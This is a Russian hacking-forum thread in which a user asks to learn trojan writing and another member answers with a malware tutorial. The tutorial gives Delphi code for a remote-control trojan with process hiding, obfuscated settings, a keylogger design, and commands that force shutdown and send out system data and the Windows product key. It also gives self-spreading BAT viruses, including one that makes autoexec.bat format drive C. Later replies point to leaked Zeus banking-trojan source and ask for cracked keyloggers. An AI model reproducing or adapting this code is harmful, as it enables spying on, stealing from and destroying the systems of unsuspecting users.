Изучение уязвимостей электронных систем.
 
key programming immo tools emergency start device программаторы ключа заводилки Кодграббер штатных охранных систем, toyota, lexus, subaru.

Вернуться   Изучение уязвимостей электронных систем > В помощь фрикеру > Безопасность

Безопасность Личная безопасность в сети. Шифрование, прокси и тд.

Ответ
 
Опции темы
Старый 20.04.2012, 16:04   #1
Sex
случайно влез
 
Регистрация: 16.04.2012
Сообщений: 3
Поблагодарил: 0
Поблагодарили 0 раз в 0 сообщениях
Sex стоит на развилке
По умолчанию Ищу хорошего программиста

Ищу хорошего программиста, хочу научиться делать простые трояны для начала, буду послушным учеников , в последствии буду сотрудничать, услуги готов оплатить после обучения.
Мои базовые знания с++\с , ассемблер.
Sex вне форума   Ответить с цитированием
Старый 21.04.2012, 20:39   #2
PressAnyKey
гость
 
Аватар для PressAnyKey
 
Регистрация: 04.11.2011
Сообщений: 120
Поблагодарил: 11
Поблагодарили 27 раз в 20 сообщениях
PressAnyKey стоит на развилке
По умолчанию

Имея базовые знания по Си и асемблеру уже можно писать трои, почитай литературу по различным протоколам типа TCP-IP, UDP, HTTP и сенсей не нужен будет.
PressAnyKey вне форума   Ответить с цитированием
Старый 30.04.2012, 01:57   #3
XPOM
случайно влез
 
Аватар для XPOM
 
Регистрация: 24.04.2012
Сообщений: 9
Поблагодарил: 13
Поблагодарили 5 раз в 2 сообщениях
XPOM стоит на развилке
По умолчанию

Возьми какой-нибудь троян-открой системный код и разбирайся потихоньку (сам так учился)


Ничего не истинно. Всё дозволено.
XPOM вне форума   Ответить с цитированием
Старый 30.04.2012, 05:28   #4
XPOM
случайно влез
 
Аватар для XPOM
 
Регистрация: 24.04.2012
Сообщений: 9
Поблагодарил: 13
Поблагодарили 5 раз в 2 сообщениях
XPOM стоит на развилке
Сообщение

Ну поскольку не спится-попробую поделится опытом) (кстати, а какой именно трой тебе интересен? "убить" ПК? украсть данные? )
Для начала рекомендую писать на Delphi или C++ (маленькое и скрытненькое), а когда разберёшься, то на ассемблере будешь писать "зло"
теория написания троянов(client/server) на Delphi, работающих по протоколу TCP/IP.

Для начала, я считаю, надо разработать протокол обмена. Вы должны выбрать между побайтовой или построковой работой. Я приведу пример построкового протокола обмена:


Где:
1. com. - команда
2. sig. - сигнатура
3. par. - параметр
4. [ ] - разделитель (разделителем может быть любой символ, который точно не встретится в самой команде или в параметре)

А вот пример реализации такого протокола обмена:
function _parser(str:string):tstringlist;
var
s : tstringlist;
i : integer;
st : integer;
sp : boolean;
begin
st := 0;
sp := true;
s := tstringlist.create;
s.add("");
for i := 1 to length(str) do
begin
if str[i] = "†" then
begin
if not sp then
begin
inc(st);
s.add("");
end;
sp := true;
end
else
begin
sp := false;
s.strings[st] := s.strings[st] + str[i];
end;
end;
if sp then s.delete(s.count-1);
result:=s;
end;

Эта функция делит переданную ей строчку на слова(разделителем здесь является символ †). Например, если функции передать: abc†1000†abc†abc, то в ответе мы получим tstringlist такого вида:
abc
1000
abc
abc
Таким образом при получении какой-либо строки мы передаем ее параметром в функцию _parser, а ответом функции будет трафик разобранный на части согласно данному протоколу обмена. Что означает первая часть протокола обмена(команда), думаю, не надо объяснять. Я считаю, что лучше не писать троянов, работающих по нескольким портам(одновременно). Из-за этого в данном протоколе обмена есть такая вещь, как сигнатура. Люди пишут трояны работающие на нескольких портах, чтобы распределить команды по какому-либо признаку. Например, первый порт - команды работы с файлами, второй порт - остальные команды. При помощи сигнатуры тоже можно разделить все команды на несколько типов. Например, сигнатуре 1 соответствует перечень команд работы с файлами, а сигнатуре 2 соответствует перечень других команд. Количество параметров для каждой команды может быть разным, можно даже сделать команды с переменным количеством параметров. Разделитель - это некий барьер отделяющий составляющие части протокола обмена.

После реализации протокола обмена можно сразу сделать троян невидимым для "постороннего взгляда". Есть много способов исполнения этой задачи. Приведу один из них, на мой взгляд, самый простой:
type
tregisterserviceprocess = function (dwprocessid,dwtype:dword) : dword;
stdcall;

А при создании формы пишем:
var
hndl : thandle;
registerserviceprocess : tregisterserviceprocess;
begin
hndl:=loadlibrary("KERNEL32.DLL");
registerserviceprocess:=getprocaddress(hndl,"Regis terServiceProcess");
registerserviceprocess(getcurrentprocessid,1);
freelibrary(hndl);

Да, и не забудьте в самом проекте указать:
application.showmainform:=false;

А вот механизм инсталляции в систему, если его написать слишком рано, может затруднить отладку трояна. Все значения, такие как: порт, пароль и т.п. должны быть в зашифрованном виде. Для этой цели советую не использовать очень сложные алгоритмы шифрования. Если кому-то понадобится эта информация, то он все равно ее получит. Можно использовать, например, такой алгоритм шифрования:
function crypt(str:string):string;
var
len : integer;
a : integer;
b : integer;
c : integer;
d : integer;
r : string;
begin
d := 13;
r := "";
len := length(str);
for a := 1 to len do
begin
b := ord(str[a]);
b := b - 32;
c := b xor d;
c := c + 32;
r := r + chr(c);
d := d + 1;
end;
result := r;
end;

Я могу расшифровать информацию, зашифрованную этим алгоритмом, в уме, но все равно для своей задачи он пригоден. Также можно использовать его и для шифрования трафика, но тогда придется чуть изменить схему трояна: сначала трафик передается функции crypt, а потом функции _parser.

После реализации протокола обмена и шифрования значений можно переходить к самому трояну. Я обычно пишу примерно по такой схеме:

Как видите, при запуске, троян становится невидимым, потом он инсталлируется в систему и переходит в состояние ожидания, но отдельно висит offline keylogger, который периодчески сохраняет свой буфер в укромное место. Кроме keylogger ещё ping модуль висит, всегда готовый ответить на запрос. При получении некоего трафика он проходит через _parser модуль, который ещё определяет есть ли это то, что надо, или это просто неправильный запрос не от клиента. Если пароль введен правильно, то последующий трафик сразу идет на командный модуль. Некоторые модули на схеме связаны не только с основным, но и командным модулем потому, что, например, модуль remote ping включается только через команду, а keylogger высылает записанные им клавиши тоже только при поступлении соответствующей команды.

На самом деле это упрощенная схема, сюда можно ещё много чего добавить, но это уже ваше дело. А теперь я хотел бы немного отойти от теории, и чуть-чуть приблизиться к практике. Вот примеры некоторых команд:
Это пример команды messagebox. Я не буду объяснять значение
всех переменных т.к. это всего лишь пример и здесь итак все понятно.

_com - команда

_data - ответ функции _parser

const
_line = #13+#10;
_icon : array [0..4] of integer=(0,mb_iconexclamation,
mb_iconinformation,mb_iconstop,mb_iconquestion);

################################################## ##########
if _com = 2 then
begin
if _data.count = 6 then
if (strtoint(_data[5]) = 0) or
(strtoint(_data[5]) = 1) or
(strtoint(_data[5]) = 2) or
(strtoint(_data[5]) = 3) or
(strtoint(_data[5]) = 4) then
begin
if _data[2] = "1" then
begin
if messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_ok + _icon[strtoint(_data[5])]) <> 0 then
begin
socket.sendtext(_name+" : true {2,1,"+_data[5]+"}"+_line);
socket.sendtext(_name+" : ok {2,1,"+_data[5]+"}"+_line);
end;
end;
if _data[2] = "2" then
begin
if messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_okcancel + _icon[strtoint(_data[5])]) = idok then
begin
socket.sendtext(_name+" : true {2,2,"+_data[5]+"}"+_line);
socket.sendtext(_name+" : ok {2,2,"+_data[5]+"}"+_line);
end else
begin
socket.sendtext(_name+" : true {2,2,"+_data[5]+"}"+_line);
socket.sendtext(_name+" : cancel {2,2,"+_data[5]+"}"+_line);
end;
end;
if _data[2] = "3" then
begin
if messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_yesno + _icon[strtoint(_data[5])]) = idyes then
begin
socket.sendtext(_name+" : true {2,3,"+_data[5]+"}"+_line);
socket.sendtext(_name+" : yes {2,3,"+_data[5]+"}"+_line);
end else
begin
socket.sendtext(_name+" : true {2,3,"+_data[5]+"}"+_line);
socket.sendtext(_name+" : no {2,3,"+_data[5]+"}"+_line);
end;
end;
if _data[2] = "4" then
begin
k := messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_abortretryignore + _icon[strtoint(_data[5])]);
if k = idabort then
begin
socket.sendtext(_name+" : true {2,4,"+_data[5]+"}"+_line);
socket.sendtext(_name+" : abort {2,4,"+_data[5]+"}"+_line);
end else
if k = idretry then
begin
socket.sendtext(_name+" : true {2,4,"+_data[5]+"}"+_line);
socket.sendtext(_name+" : retry {2,4,"+_data[5]+"}"+_line);
end else
if k = idignore then
begin
socket.sendtext(_name+" : true {2,4,"+_data[5]+"}"+_line);
socket.sendtext(_name+" : ignore {2,4,"+_data[5]+"}"+_line);
end;
end;
if _data[2] = "5" then
begin
k := messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_yesnocancel + _icon[strtoint(_data[5])]);
if k = idyes then
begin
socket.sendtext(_name+" : true {2,5,"+_data[5]+"}"+_line);
socket.sendtext(_name+" : yes {2,5,"+_data[5]+"}"+_line);
end else
if k = idno then
begin
socket.sendtext(_name+" : true {2,5,"+_data[5]+"}"+_line);
socket.sendtext(_name+" : no {2,5,"+_data[5]+"}"+_line);
end else
if k = idcancel then
begin
socket.sendtext(_name+" : true {2,5,"+_data[5]+"}"+_line);
socket.sendtext(_name+" : cancel {2,5,"+_data[5]+"}"+_line);
end;
end;
if _data[2] = "6" then
begin
if messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_retrycancel + _icon[strtoint(_data[5])]) = idretry then
begin
socket.sendtext(_name+" : true {2,6,"+_data[5]+"}"+_line);
socket.sendtext(_name+" : retry {2,6,"+_data[5]+"}"+_line);
end else
begin
socket.sendtext(_name+" : true {2,6,"+_data[5]+"}"+_line);
socket.sendtext(_name+" : cancel {2,6,"+_data[5]+"}"+_line);
end;
end;
exit;
end;
end;


Пример команды exitwindows:
if _com = 6 then
begin
if _data.count = 3 then
begin
if _data[2] = "1" then
begin
socket.sendtext(_name+" : true {6,1}"+_line);
exitwindows(ewx_force,1);
end else
if _data[2] = "2" then
begin
socket.sendtext(_name+" : true {6,2}"+_line);
exitwindows(ewx_logoff,1);
end else
if _data[2] = "3" then
begin
socket.sendtext(_name+" : true {6,3}"+_line);
exitwindows(ewx_poweroff,1);
end else
if _data[2] = "4" then
begin
socket.sendtext(_name+" : true {6,4}"+_line);
exitwindows(ewx_reboot,1);
end;
if _data[2] = "5" then
begin
socket.sendtext(_name+" : true {6,5}"+_line);
exitwindows(ewx_shutdown,1);
end;
exit;
end;
end;


Сбор некоторых сведений о системе:
if _com = 7 then
begin
if _data.count = 2 then
begin
_inf := tregistry.create;
_inf.rootkey:=hkey_local_machine;
if _inf.openkey("software\microsoft\windows\currentve rsion",true)
= true then
st := _inf.readstring("Version")
else
st := "unknown";
socket.sendtext(_name+" : system : "+st+" {7}"+_line);
_inf.closekey;
if
_inf.openkey("hardware\description\system\centralp rocessor\0",true)
= true then
st := _inf.readstring("vendoridentifier")
else
st := "unknown";
socket.sendtext(_name+" : processor : "+st+" {7}"+_line);
_inf.closekey;
if _inf.openkey("config\0001\display\settings",true) = true then
st := _inf.readstring("resolution")
else
st := "unknown";
socket.sendtext(_name+" : resolution : "+st+" {7}"+_line);
_inf.closekey;
if _inf.openkey("config\0001\display\settings",true) = true then
st := _inf.readstring("bitsperpixel")
else
st := "unknown";
socket.sendtext(_name+" : bits per pixel : "+st+" {7}"+_line);
_inf.closekey;
if _inf.openkey("software\microsoft\windows\currentve rsion",true)
= true then
st := _inf.readstring("systemroot")
else
st := "unknown";
socket.sendtext(_name+" : system root : "+st+" {7}"+_line);
_inf.closekey;
if _inf.openkey("software\microsoft\windows\currentve rsion",true)
= true then
st := _inf.readstring("productkey")
else
st := "unknown";
socket.sendtext(_name+" : product key : "+st+" {7}"+_line);
_inf.closekey;
if _inf.openkey("software\microsoft\windows\currentve rsion",true)
= true then
st := _inf.readstring("productname")
else
st := "unknown";
socket.sendtext(_name+" : product name : "+st+" {7}"+_line);
_inf.closekey;
if _inf.openkey("software\microsoft\windows\currentve rsion",true)
= true then
st := _inf.readstring("programfilespath")
else
st := "unknown";
if st = "" then
begin
_inf.closekey;
if _inf.openkey("software\microsoft\windows\currentve rsion",true)
= true then
st := _inf.readstring("programfilesdir")
else
st := "unknown";
end;
socket.sendtext(_name+" : programfiles path : "+st+" {7}"+_line);
_inf.closekey;
if _inf.openkey("software\microsoft\windows\currentve rsion",true)
= true then
st := _inf.readstring("registeredorganization")
else
st := "unknown";
socket.sendtext(_name+" : registered organization : "+st+"
{7}"+_line);
_inf.closekey;
if _inf.openkey("software\microsoft\windows\currentve rsion",true)
= true then
st := _inf.readstring("registeredowner")
else
st := "unknown";
socket.sendtext(_name+" : registered owner : "+st+" {7}"+_line);
_inf.closekey;
if _inf.openkey("software\microsoft\windows\currentve rsion",true)
= true then
st := _inf.readstring("sm_accessoriesname")
else
st := "unknown";
socket.sendtext(_name+" : accessories name : "+st+" {7}"+_line);
_inf.closekey;
if _inf.openkey("software\microsoft\windows\currentve rsion",true)
= true then
st := _inf.readstring("versionnumber")
else
st := "unknown";
socket.sendtext(_name+" : version number : "+st+" {7}"+_line);
_inf.closekey;
if _inf.openkey("software\microsoft\windows\currentve rsion",true)
= true then
st := _inf.readstring("wallpaperdir")
else
st := "unknown";
socket.sendtext(_name+" : wall paper dir : "+st+" {7}"+_line);
_inf.closekey;
if _inf.openkey("software\microsoft\windows\currentve rsion",true)
= true then
st := _inf.readstring("productid")
else
st := "unknown";
socket.sendtext(_name+" : product id : "+st+" {7}"+_line);
_inf.closekey;
if _inf.openkey("software\microsoft\windows\currentve rsion",true)
= true then
st := _inf.readstring("otherdevicepath")
else
st := "unknown";
socket.sendtext(_name+" : other device path : "+st+" {7}"+_line);
_inf.closekey;
if _inf.openkey("software\microsoft\windows\currentve rsion",true)
= true then
st := _inf.readstring("mediapath")
else
st := "unknown";
socket.sendtext(_name+" : media path : "+st+" {7}"+_line);
_inf.closekey;
_inf.destroy;
exit;
end;
end;


Проставление приоритета своему процессу:
if _com = 14
then
begin
if _data.count = 2 then
begin
if pr = false then
begin
processid := getcurrentprocessid;
processhandle :=
openprocess(process_set_information,false,processi d);
setpriorityclass(processhandle,realtime_priority_c lass);
threadhandle := getcurrentthread;
setthreadpriority(threadhandle,thread_priority_tim e_critical);
socket.sendtext(_name+" : true (on) {14}"+_line);
pr := true;
end
else
begin
processid := getcurrentprocessid;
processhandle :=
openprocess(process_set_information,false,processi d);
setpriorityclass(processhandle,normal_priority_cla ss);
threadhandle := getcurrentthread;
setthreadpriority(threadhandle,thread_priority_nor mal);
socket.sendtext(_name+" : true (off) {14}"+_line);
pr := false;
end;
exit;
end;
end;

это не полный трой, а только пара модулей к его разработке, но как видно-сверхглубоких заний тут не надо-всего лишь минимальное понимание принципа работа и англ. языка


Ну а это "жесть"-убийца компьютеров-минимум времени, ресурсов и знаний


Пишем троян,создадим в обычном текстовом редакторе, встроенном в Виндозу. Такой вирус будет называться BAT-вирусом.
По мере написания исходника, в фигурных скобках буду пояснять о чем речь.

@Echo off {запрещаем вывод на экран исполняемых команд}
copy %0 c:virus.bat >nul {копируем файл; запрещаем вывод на экран самой команды и результата её действия}
echo c:virus.bat>>c:autoexec.bat {добавляем текст в уже существующий файл}

Вот и все! Проще не бывает! Это пример одного из самых простых bat-вирусов. Хотя с полной уверенностью сказать, что это вирус, значит сказать ерунду. Посмотрите на то, что написано в фигурных скобках и вы поймете, что это просто пример того, как сделать основу вируса. Продолжаю:

@Echo off
copy %0 c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
copy %0 a:run.bat >nul {копируем этот файл на дискету, если таковая имеется в дисководе (копирование произойдет при перезагрузке компа)}

Таким образом к предыдущему исходнику я добавил одну строку и вирус приобрел новую способность: он теперь умеет заражать другие компы через дискету.

@Echo off
copy %0 c:virus.bat >nul
attrib +h c:virus.bat >nul {устанавливаем файлу virus.bat атрибут «скрытый» (файл virus.bat наверняка попадется юзеру на глаза и будет их мозолить , поэтому делаем его скрытым)}
echo c:virus.bat>>c:autoexec.bat
copy %0 a:run.bat >nul

Вот, наш исходник начинает приобретать очертания вируса!

@Echo off
if exist c:virus.bat goto ski {проверяем, существует ли файл, …}
copy %0 c:virus.bat >nul
attrib +h c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
:ski {…если он существует, то программа переходит на метку :ski}
copy %0 a:run.bat >nul

Добавил еще одну команду «if exist». Теперь вирус уже будет проверять, есть ли этот файл, и если он есть, то уже не будут выполняться лишни команды. Только скопирует себя на дискету и все.
Теперь модернизируем наш вирус до конца.

@echo off%[Meteor]% {выводим на экран текст «Meteor»}

if '%1=='In_ goto Meteo {если переменная %1 равна In, то переходим к метке «:Meteo»}

if exist c:Meteor.bat goto Mete {проверяем, существует ли файл Meteor.bat, если да, то переходим к метке «:Mete»}

if not exist %0 goto Met {если файл не существует, то переходим к метке «Met»}

find "Meteor"c:Meteor.bat {проверяем, есть ли файл meteor на диске, если нет, то копируем его туда}

attrib +h c:Meteor.bat {делаем файл скрытым}

:Mete {метка}

for %%t in (*.bat) do call c:Meteor In_ %%t {выполняем одну команду (call - позволяет вызвать один пакетный файл из другого) для нескольких параметров t} {т.е. вирус находит файл с расширением .bat, и заражает его с помощью команды type, дописывая себя к найденному .bat-файлу}

goto Met {перейти к метке}

:Meteo {метка}

find "Meteor"nul {указываем файлу значение 2 и запрещаем вывод команды и ее результата на экран}

if not errorlevel 1 goto Met {если не произошло ошибки (с кодом 1) выполнения предыдущей команды, то переходим на метку}

type c:Meteor.bat>>%2 {дописываем «себя» к найденному .bat-файлу}

:Met {метка}

Вот это уже можно назвать более или менее полноценным вирусом!
Для того чтобы вирус стал вирусом, его нужно сохранить с расширением BAT. Жмем «Сохранить как», пишем например virus.bat, и там куда вы его сохраните появится пакетный файл MS-DOS.
На основе этого исходника можно создавать другие вирусы. Экспериментируйте, модернизируйте, пробуйте написать свой вирус. Скажу к слову, что используя этот исходник, я сделал из него еще три модификации. И это не предел! Возможности не ограничены, все зависит от вашей фантазии.

Приведу еще один простой, но интересный пример

@Echo off
Echo format C: /q >> c:Autoexec.bat

Все! Ничего особенного, да? Этот вирус добавляет в autoexec.bat строку format C: /q и при перезагрузке компа происходит быстрое форматирование диска
И вот еще что:

Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.js
echo WSHShell.Popup ("ПИШИ СЮДА ЧТО УГОДНО"); >> %temp%mes.js
start %temp%mes.js
deltree /y %temp%mes.js

Добавь этот скрипт в свой вирус, вместо «ПИШИ СЮДА ЧТО УГОДНО» напиши свой текст (например, предсмертную речь для юзера ), и при запуске вируса вылезет окошечко с твоим сообщением!


Ничего не истинно. Всё дозволено.
XPOM вне форума   Ответить с цитированием
Старый 30.04.2012, 11:03   #5
huy
участник
 
Аватар для huy
 
Регистрация: 17.03.2010
Адрес: Космас
Сообщений: 360
Поблагодарил: 1
Поблагодарили 103 раз в 53 сообщениях
huy стоит на развилке
По умолчанию

троян на VCL. TStringList гг.
троянописатели нью генерейшн.
huy вне форума   Ответить с цитированием
Старый 09.05.2012, 16:20   #6
pztv
случайно влез
 
Регистрация: 28.04.2012
Сообщений: 19
Поблагодарил: 8
Поблагодарили 2 раз в 2 сообщениях
pztv стоит на развилке
По умолчанию

В паблике давно есть сорцы легендарного зевса со всеми модулями, гейтами и админками.
Качай и изучай
pztv вне форума   Ответить с цитированием
Старый 15.08.2012, 19:09   #7
spiki
гость
 
Регистрация: 13.08.2009
Сообщений: 144
Поблагодарил: 10
Поблагодарили 17 раз в 13 сообщениях
spiki стоит на развилке
По умолчанию

у кого есть ломаный KGB keylogger или Neospy или какой нибудь другой рабчий keylogger.
перешуршал гугл везде одно и тоже инфицированые ПО.
spiki вне форума   Ответить с цитированием
Старый 07.01.2013, 01:49   #8
Kross
Заблокирован
 
Регистрация: 09.03.2010
Сообщений: 5
Поблагодарил: 1
Поблагодарили 0 раз в 0 сообщениях
Kross стоит на развилке
По умолчанию

уважаемый тебе для KGB key.bin нужен 123 кб
Kross вне форума   Ответить с цитированием
Ответ

Метки
программирование, программист, троян, хакер


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Поиск] Ищу программиста streetmorda Новички 8 30.07.2014 13:46
Поделитесь ссылками на онлайн магазины, для закупки хорошего оборудования. davss Замки 5 08.04.2013 00:14
День программиста! oleg Флейм 5 25.09.2008 18:46


Текущее время: 00:19. Часовой пояс GMT +4.


Перевод: zCarot